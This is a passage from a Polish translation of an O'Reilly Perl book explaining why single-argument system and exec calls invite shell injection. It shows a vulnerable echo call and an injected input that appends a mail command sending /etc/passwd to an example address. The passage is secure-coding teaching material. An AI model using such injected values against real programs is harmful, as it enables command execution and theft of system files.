Listowe postacie wywołań system i exec
Jeśli używam wywołań system
lub exec
z pojedynczym argumentem, Perl szuka w nim metaznaków powłoki. Jeśli znajdzie metaznaki, przekazuje argument do powłoki w celu interpolacji. Wiedząc to, mogę skonstruować polecenie powłoki, które będzie wykonywać jakąś niepożądaną operację. Może mam w programie pozornie nieszkodliwe wywołanie systemowe, na przykład echo
:
system( "/bin/echo $message" );
Jako użytkownik programu mogę spreparować takie dane wejściowe, że zmienna $message
będzie robić więcej niż tylko dostarczać argument poleceniu echo
. Poniższy łańcuch kończy polecenie echo
za pomocą średnika i rozpoczyna polecenie mail
, które używa przekierowania wejścia:
'Witaj, świecie!'; mail joe@example.com < /etc/passwd ...
Get Perl. Mistrzostwo w programowaniu now with the O’Reilly learning platform.
O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.